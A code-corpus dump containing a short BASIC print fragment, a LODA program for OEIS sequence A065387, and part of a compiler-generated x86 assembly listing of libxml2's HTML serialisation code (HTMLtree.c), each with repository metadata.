PRINT "1312 Script Sizes (Load/Init/Check) (of $500): "
PRINT (L1312_LoadFinished - L1312_Load2)
PRINT " / "
PRINT (L1312_InitFinished - L1312_Init2)
PRINT " / "
PRINT (L1312_CheckFinished - L1312_Check2)
PRINT "\n"
| 27.616667 | 70 | 0.407363 |
d76d5be74438f2fc5e5109a92cb2667f57f254c9 | 600 | asm | Assembly | oeis/065/A065387.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/065/A065387.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/065/A065387.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A065387: a(n) = sigma(n) + phi(n).
; Submitted by Jon Maiga
; 2,4,6,9,10,14,14,19,19,22,22,32,26,30,32,39,34,45,38,50,44,46,46,68,51,54,58,68,58,80,62,79,68,70,72,103,74,78,80,106,82,108,86,104,102,94,94,140,99,113,104,122,106,138,112,144,116,118,118,184,122,126,140,159,132,164,134,158,140,168,142,219,146,150,164,176,156,192,158,218,175,166,166,248,172,174,176,220,178,258,184,212,188,190,192,284,194,213,216,257
mov $2,$0
seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
seq $2,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
add $0,$2
| 66.666667 | 354 | 0.683333 |
08b27663fc90227b638cffa89bb4839e9670cb0d | 127,263 | asm | Assembly | win32/VC10/Win32/libxml2_Debug/HTMLtree.asm | txwizard/libxml2_x64_and_ARM | bc19a931370a09ee379d641a7c9a862fecebff3b | [
"MIT"
] | null | null | null | win32/VC10/Win32/libxml2_Debug/HTMLtree.asm | txwizard/libxml2_x64_and_ARM | bc19a931370a09ee379d641a7c9a862fecebff3b | [
"MIT"
] | null | null | null | win32/VC10/Win32/libxml2_Debug/HTMLtree.asm | txwizard/libxml2_x64_and_ARM | bc19a931370a09ee379d641a7c9a862fecebff3b | [
"MIT"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1
TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\HTMLtree.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB MSVCRTD
INCLUDELIB OLDNAMES
PUBLIC ??_C@_07FJOBMBFC@checked@ ; `string'
PUBLIC ??_C@_07HGKHBOGE@compact@ ; `string'
PUBLIC ??_C@_07JDFLJJH@declare@ ; `string'
PUBLIC ??_C@_05MBNCFBEN@defer@ ; `string'
PUBLIC ??_C@_08BEHKFNNO@disabled@ ; `string'
PUBLIC ??_C@_05HANCGNOO@ismap@ ; `string'
PUBLIC ??_C@_08CKJFGDBG@multiple@ ; `string'
PUBLIC ??_C@_06FFHHDLMH@nohref@ ; `string'
PUBLIC ??_C@_08BOOCAMGJ@noresize@ ; `string'
PUBLIC ??_C@_07NCHIIBII@noshade@ ; `string'
PUBLIC ??_C@_06KMFGCGJP@nowrap@ ; `string'
PUBLIC ??_C@_08JOKHDEJH@readonly@ ; `string'
PUBLIC ??_C@_08CJLOJPNI@selected@ ; `string'
_DATA SEGMENT
COMM _xmlMalloc:DWORD
COMM _xmlMallocAtomic:DWORD
COMM _xmlRealloc:DWORD
COMM _xmlFree:DWORD
COMM _xmlMemStrdup:DWORD
COMM _xmlIsBaseCharGroup:BYTE:010H
COMM _xmlIsCharGroup:BYTE:010H
COMM _xmlIsCombiningGroup:BYTE:010H
COMM _xmlIsDigitGroup:BYTE:010H
COMM _xmlIsExtenderGroup:BYTE:010H
COMM _xmlIsIdeographicGroup:BYTE:010H
COMM _xmlIsPubidChar_tab:BYTE:0100H
COMM _xmlParserMaxDepth:DWORD
COMM _forbiddenExp:DWORD
COMM _emptyExp:DWORD
_DATA ENDS
msvcjmc SEGMENT
__188180DA_corecrt_math@h DB 01H
__2CC6E67D_corecrt_stdio_config@h DB 01H
__05476D76_corecrt_wstdio@h DB 01H
__A452D4A0_stdio@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__7B7A869E_ctype@h DB 01H
__E0C87F61_htmltree@c DB 01H
msvcjmc ENDS
; COMDAT ??_C@_08CJLOJPNI@selected@
CONST SEGMENT
??_C@_08CJLOJPNI@selected@ DB 'selected', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08JOKHDEJH@readonly@
CONST SEGMENT
??_C@_08JOKHDEJH@readonly@ DB 'readonly', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06KMFGCGJP@nowrap@
CONST SEGMENT
??_C@_06KMFGCGJP@nowrap@ DB 'nowrap', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07NCHIIBII@noshade@
CONST SEGMENT
??_C@_07NCHIIBII@noshade@ DB 'noshade', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08BOOCAMGJ@noresize@
CONST SEGMENT
??_C@_08BOOCAMGJ@noresize@ DB 'noresize', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06FFHHDLMH@nohref@
CONST SEGMENT
??_C@_06FFHHDLMH@nohref@ DB 'nohref', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08CKJFGDBG@multiple@
CONST SEGMENT
??_C@_08CKJFGDBG@multiple@ DB 'multiple', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05HANCGNOO@ismap@
CONST SEGMENT
??_C@_05HANCGNOO@ismap@ DB 'ismap', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08BEHKFNNO@disabled@
CONST SEGMENT
??_C@_08BEHKFNNO@disabled@ DB 'disabled', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05MBNCFBEN@defer@
CONST SEGMENT
??_C@_05MBNCFBEN@defer@ DB 'defer', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07JDFLJJH@declare@
CONST SEGMENT
??_C@_07JDFLJJH@declare@ DB 'declare', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07HGKHBOGE@compact@
CONST SEGMENT
??_C@_07HGKHBOGE@compact@ DB 'compact', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07FJOBMBFC@checked@
CONST SEGMENT
??_C@_07FJOBMBFC@checked@ DB 'checked', 00H ; `string'
CONST ENDS
PUBLIC ___local_stdio_printf_options
PUBLIC _snprintf
PUBLIC _htmlGetMetaEncoding
PUBLIC _htmlSetMetaEncoding
PUBLIC _htmlDocDumpMemory
PUBLIC _htmlDocDumpMemoryFormat
PUBLIC _htmlDocDump
PUBLIC _htmlSaveFile
PUBLIC _htmlNodeDump
PUBLIC _htmlNodeDumpFile
PUBLIC _htmlNodeDumpFileFormat
PUBLIC _htmlSaveFileEnc
PUBLIC _htmlSaveFileFormat
PUBLIC _htmlNodeDumpFormatOutput
PUBLIC _htmlDocContentDumpOutput
PUBLIC _htmlDocContentDumpFormatOutput
PUBLIC _htmlNodeDumpOutput
PUBLIC _htmlIsBooleanAttr
PUBLIC __JustMyCode_Default
PUBLIC ??_C@_04PNIFHPHN@html@ ; `string'
PUBLIC ??_C@_04NEODDMOL@head@ ; `string'
PUBLIC ??_C@_04HLJJCGEF@meta@ ; `string'
PUBLIC ??_C@_0L@NALBGOHO@http?9equiv@ ; `string'
PUBLIC ??_C@_0N@LAFFMKKA@Content?9Type@ ; `string'
PUBLIC ??_C@_07ICAJMOAO@content@ ; `string'
PUBLIC ??_C@_08JPKHBDLJ@charset?$DN@ ; `string'
PUBLIC ??_C@_08BNFGJBBK@Charset?$DN@ ; `string'
PUBLIC ??_C@_08HFIPAJDM@CHARSET?$DN@ ; `string'
PUBLIC ??_C@_09MMDENEKG@charset?5?$DN@ ; `string'
PUBLIC ??_C@_09IDGJNHHG@Charset?5?$DN@ ; `string'
PUBLIC ??_C@_09FBAMILBD@CHARSET?5?$DN@ ; `string'
PUBLIC ??_C@_0BG@HLDJIGE@text?1html?$DL?5charset?$DN?$CFs@ ; `string'
PUBLIC ??_C@_0BI@KDLJAAPA@string?5is?5not?5in?5UTF?98?6@ ; `string'
PUBLIC ??_C@_0BJ@HMEJBBPL@invalid?5character?5value?6@ ; `string'
PUBLIC ??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@ ; `string'
PUBLIC ??_C@_0BF@DMLFPEHI@HTML?5has?5no?5DOCTYPE?6@ ; `string'
PUBLIC ??_C@_0BJ@IPOHNFHE@unexpected?5error?5number?6@ ; `string'
PUBLIC ??_C@_0BO@IIMAGFKO@allocating?5HTML?5output?5buffer@ ; `string'
PUBLIC ??_C@_04DBLPJNAF@HTML@ ; `string'
PUBLIC ??_C@_05OJENGABA@ascii@ ; `string'
PUBLIC ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ ; `string'
PUBLIC ??_C@_08GBBLECIH@?5PUBLIC?5@ ; `string'
PUBLIC ??_C@_01CLKCMJKC@?5@ ; `string'
PUBLIC ??_C@_0BE@LDMALNEE@about?3legacy?9compat@ ; `string'
PUBLIC ??_C@_08PAGGLANP@?5SYSTEM?5@ ; `string'
PUBLIC ??_C@_02NEKEAGPN@?$DO?6@ ; `string'
PUBLIC ??_C@_01JLIPDDHJ@?3@ ; `string'
PUBLIC ??_C@_01NEMOKFLO@?$DN@ ; `string'
PUBLIC ??_C@_04CMBCJJJD@href@ ; `string'
PUBLIC ??_C@_06DDLLCOJG@action@ ; `string'
PUBLIC ??_C@_03LOJEKLML@src@ ; `string'
PUBLIC ??_C@_04MEMAJGDJ@name@ ; `string'
PUBLIC ??_C@_01MCMALHOG@a@ ; `string'
PUBLIC ??_C@_01BJJEKLCA@?$CC@ ; `string'
PUBLIC ??_C@_04FFDNBKGC@?$DM?$CB?9?9@ ; `string'
PUBLIC ??_C@_03PNLDJJMO@?9?9?$DO@ ; `string'
PUBLIC ??_C@_0M@LNGMBFJP@?$EA?1?3?$DN?$DP?$DL?$CD?$CF?$CG?0?$CL@ ; `string'
PUBLIC ??_C@_03EAIBNEDB@?$DN?$CC?$CC@ ; `string'
PUBLIC ??_C@_06OLONEIEH@script@ ; `string'
PUBLIC ??_C@_05IAKJCFIM@style@ ; `string'
PUBLIC ??_C@_02HFBBBACF@?$DM?$DP@ ; `string'
PUBLIC ??_C@_01PPODPGHN@?$DO@ ; `string'
PUBLIC ??_C@_01HNPIGOCE@?$CG@ ; `string'
PUBLIC ??_C@_01ICJEACDI@?$DL@ ; `string'
PUBLIC ??_C@_01MNNFJEPP@?$DM@ ; `string'
PUBLIC ??_C@_01EEMJAFIK@?6@ ; `string'
PUBLIC ??_C@_04IEJGKNJ@body@ ; `string'
PUBLIC ??_C@_03PBCCILOI@?$DO?$DM?1@ ; `string'
PUBLIC ??_C@_02DPNDACHE@?$DM?1@ ; `string'
PUBLIC ??_C@_05EGJIMALK@UTF?98@ ; `string'
EXTRN _xmlStrndup:PROC
EXTRN _xmlStrstr:PROC
EXTRN _xmlStrcasestr:PROC
EXTRN _xmlStrcmp:PROC
EXTRN _xmlStrcasecmp:PROC
EXTRN _xmlStrEqual:PROC
EXTRN __imp____stdio_common_vsprintf:PROC
EXTRN _xmlBufContent:PROC
EXTRN _xmlBufUse:PROC
EXTRN _xmlNewProp:PROC
EXTRN _xmlNewDocNode:PROC
EXTRN _xmlAddChild:PROC
EXTRN _xmlAddPrevSibling:PROC
EXTRN _xmlUnlinkNode:PROC
EXTRN _xmlFreeNode:PROC
EXTRN _xmlSetProp:PROC
EXTRN _xmlNodeListGetString:PROC
EXTRN ___xmlSimpleError:PROC
EXTRN _xmlEncodeEntitiesReentrant:PROC
EXTRN _xmlFindCharEncodingHandler:PROC
EXTRN _xmlParseCharEncoding:PROC
EXTRN _xmlOutputBufferCreateFilename:PROC
EXTRN _xmlOutputBufferCreateFile:PROC
EXTRN _xmlOutputBufferWriteString:PROC
EXTRN _xmlOutputBufferFlush:PROC
EXTRN _xmlOutputBufferClose:PROC
EXTRN _xmlInitParser:PROC
EXTRN _htmlTagLookup:PROC
EXTRN _xmlURIEscapeStr:PROC
EXTRN _xmlBufCat:PROC
EXTRN _xmlBufCCat:PROC
EXTRN _xmlBufWriteQuotedString:PROC
EXTRN _xmlBufFromBuffer:PROC
EXTRN _xmlBufBackToBuffer:PROC
EXTRN _xmlAllocOutputBufferInternal:PROC
EXTRN _xmlNsListDumpOutput:PROC
EXTRN @_RTC_CheckStackVars@8:PROC
EXTRN @__CheckForDebuggerJustMyCode@4:PROC
EXTRN __RTC_CheckEsp:PROC
EXTRN __RTC_InitBase:PROC
EXTRN __RTC_Shutdown:PROC
EXTRN _xmlStringText:BYTE
EXTRN _xmlStringTextNoenc:BYTE
_DATA SEGMENT
COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage
_DATA ENDS
; COMDAT rtc$TMZ
rtc$TMZ SEGMENT
__RTC_Shutdown.rtc$TMZ DD FLAT:__RTC_Shutdown
rtc$TMZ ENDS
; COMDAT rtc$IMZ
rtc$IMZ SEGMENT
__RTC_InitBase.rtc$IMZ DD FLAT:__RTC_InitBase
rtc$IMZ ENDS
; COMDAT ??_C@_05EGJIMALK@UTF?98@
CONST SEGMENT
??_C@_05EGJIMALK@UTF?98@ DB 'UTF-8', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02DPNDACHE@?$DM?1@
CONST SEGMENT
??_C@_02DPNDACHE@?$DM?1@ DB '</', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03PBCCILOI@?$DO?$DM?1@
CONST SEGMENT
??_C@_03PBCCILOI@?$DO?$DM?1@ DB '></', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04IEJGKNJ@body@
CONST SEGMENT
??_C@_04IEJGKNJ@body@ DB 'body', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01EEMJAFIK@?6@
CONST SEGMENT
??_C@_01EEMJAFIK@?6@ DB 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01MNNFJEPP@?$DM@
CONST SEGMENT
??_C@_01MNNFJEPP@?$DM@ DB '<', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01ICJEACDI@?$DL@
CONST SEGMENT
??_C@_01ICJEACDI@?$DL@ DB ';', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01HNPIGOCE@?$CG@
CONST SEGMENT
??_C@_01HNPIGOCE@?$CG@ DB '&', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01PPODPGHN@?$DO@
CONST SEGMENT
??_C@_01PPODPGHN@?$DO@ DB '>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02HFBBBACF@?$DM?$DP@
CONST SEGMENT
??_C@_02HFBBBACF@?$DM?$DP@ DB '<?', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05IAKJCFIM@style@
CONST SEGMENT
??_C@_05IAKJCFIM@style@ DB 'style', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06OLONEIEH@script@
CONST SEGMENT
??_C@_06OLONEIEH@script@ DB 'script', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03EAIBNEDB@?$DN?$CC?$CC@
CONST SEGMENT
??_C@_03EAIBNEDB@?$DN?$CC?$CC@ DB '=""', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0M@LNGMBFJP@?$EA?1?3?$DN?$DP?$DL?$CD?$CF?$CG?0?$CL@
CONST SEGMENT
??_C@_0M@LNGMBFJP@?$EA?1?3?$DN?$DP?$DL?$CD?$CF?$CG?0?$CL@ DB '@/:=?;#%&,+'
DB 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03PNLDJJMO@?9?9?$DO@
CONST SEGMENT
??_C@_03PNLDJJMO@?9?9?$DO@ DB '-->', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04FFDNBKGC@?$DM?$CB?9?9@
CONST SEGMENT
??_C@_04FFDNBKGC@?$DM?$CB?9?9@ DB '<!--', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01BJJEKLCA@?$CC@
CONST SEGMENT
??_C@_01BJJEKLCA@?$CC@ DB '"', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01MCMALHOG@a@
CONST SEGMENT
??_C@_01MCMALHOG@a@ DB 'a', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04MEMAJGDJ@name@
CONST SEGMENT
??_C@_04MEMAJGDJ@name@ DB 'name', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03LOJEKLML@src@
CONST SEGMENT
??_C@_03LOJEKLML@src@ DB 'src', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06DDLLCOJG@action@
CONST SEGMENT
??_C@_06DDLLCOJG@action@ DB 'action', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04CMBCJJJD@href@
CONST SEGMENT
??_C@_04CMBCJJJD@href@ DB 'href', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01NEMOKFLO@?$DN@
CONST SEGMENT
??_C@_01NEMOKFLO@?$DN@ DB '=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01JLIPDDHJ@?3@
CONST SEGMENT
??_C@_01JLIPDDHJ@?3@ DB ':', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02NEKEAGPN@?$DO?6@
CONST SEGMENT
??_C@_02NEKEAGPN@?$DO?6@ DB '>', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08PAGGLANP@?5SYSTEM?5@
CONST SEGMENT
??_C@_08PAGGLANP@?5SYSTEM?5@ DB ' SYSTEM ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BE@LDMALNEE@about?3legacy?9compat@
CONST SEGMENT
??_C@_0BE@LDMALNEE@about?3legacy?9compat@ DB 'about:legacy-compat', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01CLKCMJKC@?5@
CONST SEGMENT
??_C@_01CLKCMJKC@?5@ DB ' ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08GBBLECIH@?5PUBLIC?5@
CONST SEGMENT
??_C@_08GBBLECIH@?5PUBLIC?5@ DB ' PUBLIC ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@
CONST SEGMENT
??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ DB '<!DOCTYPE ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05OJENGABA@ascii@
CONST SEGMENT
??_C@_05OJENGABA@ascii@ DB 'ascii', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04DBLPJNAF@HTML@
CONST SEGMENT
??_C@_04DBLPJNAF@HTML@ DB 'HTML', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BO@IIMAGFKO@allocating?5HTML?5output?5buffer@
CONST SEGMENT
??_C@_0BO@IIMAGFKO@allocating?5HTML?5output?5buffer@ DB 'allocating HTML '
DB 'output buffer', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BJ@IPOHNFHE@unexpected?5error?5number?6@
CONST SEGMENT
??_C@_0BJ@IPOHNFHE@unexpected?5error?5number?6@ DB 'unexpected error numb'
DB 'er', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BF@DMLFPEHI@HTML?5has?5no?5DOCTYPE?6@
CONST SEGMENT
??_C@_0BF@DMLFPEHI@HTML?5has?5no?5DOCTYPE?6@ DB 'HTML has no DOCTYPE', 0aH
DB 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@
CONST SEGMENT
??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@ DB 'unknown encoding %s', 0aH
DB 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BJ@HMEJBBPL@invalid?5character?5value?6@
CONST SEGMENT
??_C@_0BJ@HMEJBBPL@invalid?5character?5value?6@ DB 'invalid character val'
DB 'ue', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BI@KDLJAAPA@string?5is?5not?5in?5UTF?98?6@
CONST SEGMENT
??_C@_0BI@KDLJAAPA@string?5is?5not?5in?5UTF?98?6@ DB 'string is not in UT'
DB 'F-8', 0aH, 00H ; `string'
CONST ENDS
_DATA SEGMENT
_htmlBooleanAttrs DD FLAT:??_C@_07FJOBMBFC@checked@
DD FLAT:??_C@_07HGKHBOGE@compact@
DD FLAT:??_C@_07JDFLJJH@declare@
DD FLAT:??_C@_05MBNCFBEN@defer@
DD FLAT:??_C@_08BEHKFNNO@disabled@
DD FLAT:??_C@_05HANCGNOO@ismap@
DD FLAT:??_C@_08CKJFGDBG@multiple@
DD FLAT:??_C@_06FFHHDLMH@nohref@
DD FLAT:??_C@_08BOOCAMGJ@noresize@
DD FLAT:??_C@_07NCHIIBII@noshade@
DD FLAT:??_C@_06KMFGCGJP@nowrap@
DD FLAT:??_C@_08JOKHDEJH@readonly@
DD FLAT:??_C@_08CJLOJPNI@selected@
DD 00H
_DATA ENDS
; COMDAT ??_C@_0BG@HLDJIGE@text?1html?$DL?5charset?$DN?$CFs@
CONST SEGMENT
??_C@_0BG@HLDJIGE@text?1html?$DL?5charset?$DN?$CFs@ DB 'text/html; charse'
DB 't=%s', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09FBAMILBD@CHARSET?5?$DN@
CONST SEGMENT
??_C@_09FBAMILBD@CHARSET?5?$DN@ DB 'CHARSET =', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09IDGJNHHG@Charset?5?$DN@
CONST SEGMENT
??_C@_09IDGJNHHG@Charset?5?$DN@ DB 'Charset =', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09MMDENEKG@charset?5?$DN@
CONST SEGMENT
??_C@_09MMDENEKG@charset?5?$DN@ DB 'charset =', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08HFIPAJDM@CHARSET?$DN@
CONST SEGMENT
??_C@_08HFIPAJDM@CHARSET?$DN@ DB 'CHARSET=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08BNFGJBBK@Charset?$DN@
CONST SEGMENT
??_C@_08BNFGJBBK@Charset?$DN@ DB 'Charset=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08JPKHBDLJ@charset?$DN@
CONST SEGMENT
??_C@_08JPKHBDLJ@charset?$DN@ DB 'charset=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07ICAJMOAO@content@
CONST SEGMENT
??_C@_07ICAJMOAO@content@ DB 'content', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0N@LAFFMKKA@Content?9Type@
CONST SEGMENT
??_C@_0N@LAFFMKKA@Content?9Type@ DB 'Content-Type', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@NALBGOHO@http?9equiv@
CONST SEGMENT
??_C@_0L@NALBGOHO@http?9equiv@ DB 'http-equiv', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04HLJJCGEF@meta@
CONST SEGMENT
??_C@_04HLJJCGEF@meta@ DB 'meta', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04NEODDMOL@head@
CONST SEGMENT
??_C@_04NEODDMOL@head@ DB 'head', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04PNIFHPHN@html@
CONST SEGMENT
??_C@_04PNIFHPHN@html@ DB 'html', 00H ; `string'
CONST ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
push ebp
mov ebp, esp
pop ebp
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlNodeListDumpOutput
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_encoding$ = 20 ; size = 4
_format$ = 24 ; size = 4
_htmlNodeListDumpOutput PROC ; COMDAT
; 796 : xmlNodePtr cur, const char *encoding, int format) {
push ebp
mov ebp, esp
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 797 : if (cur == NULL) {
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN2@htmlNodeLi
; 798 : return;
jmp SHORT $LN1@htmlNodeLi
$LN2@htmlNodeLi:
; 799 : }
; 800 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN1@htmlNodeLi
; 801 : htmlNodeDumpFormatOutput(buf, doc, cur, encoding, format);
mov eax, DWORD PTR _format$[ebp]
push eax
mov ecx, DWORD PTR _encoding$[ebp]
push ecx
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _doc$[ebp]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _htmlNodeDumpFormatOutput
add esp, 20 ; 00000014H
; 802 : cur = cur->next;
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _cur$[ebp], eax
; 803 : }
jmp SHORT $LN2@htmlNodeLi
$LN1@htmlNodeLi:
; 804 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_htmlNodeListDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlAttrListDumpOutput
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_encoding$ = 20 ; size = 4
_htmlAttrListDumpOutput PROC ; COMDAT
; 772 : htmlAttrListDumpOutput(xmlOutputBufferPtr buf, xmlDocPtr doc, xmlAttrPtr cur, const char *encoding) {
push ebp
mov ebp, esp
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 773 : if (cur == NULL) {
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN2@htmlAttrLi
; 774 : return;
jmp SHORT $LN1@htmlAttrLi
$LN2@htmlAttrLi:
; 775 : }
; 776 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN1@htmlAttrLi
; 777 : htmlAttrDumpOutput(buf, doc, cur, encoding);
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _doc$[ebp]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _htmlAttrDumpOutput
add esp, 16 ; 00000010H
; 778 : cur = cur->next;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _cur$[ebp], edx
; 779 : }
jmp SHORT $LN2@htmlAttrLi
$LN1@htmlAttrLi:
; 780 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_htmlAttrListDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlAttrDumpOutput
_TEXT SEGMENT
_start$1 = -24 ; size = 4
_end$2 = -20 ; size = 4
_endChar$3 = -13 ; size = 1
_escaped$4 = -12 ; size = 4
_tmp$5 = -8 ; size = 4
_value$ = -4 ; size = 4
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_encoding$ = 20 ; size = 4
_htmlAttrDumpOutput PROC ; COMDAT
; 679 : const char *encoding ATTRIBUTE_UNUSED) {
push ebp
mov ebp, esp
sub esp, 24 ; 00000018H
push esi
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-24], eax
mov DWORD PTR [ebp-20], eax
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 680 : xmlChar *value;
; 681 :
; 682 : /*
; 683 : * The html output method should not escape a & character
; 684 : * occurring in an attribute value immediately followed by
; 685 : * a { character (see Section B.7.1 of the HTML 4.0 Recommendation).
; 686 : * This is implemented in xmlEncodeEntitiesReentrant
; 687 : */
; 688 :
; 689 : if (cur == NULL) {
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN7@htmlAttrDu
; 690 : return;
jmp $LN1@htmlAttrDu
$LN7@htmlAttrDu:
; 691 : }
; 692 : xmlOutputBufferWriteString(buf, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 693 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+36], 0
je SHORT $LN8@htmlAttrDu
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+36]
cmp DWORD PTR [eax+12], 0
je SHORT $LN8@htmlAttrDu
; 694 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+36]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
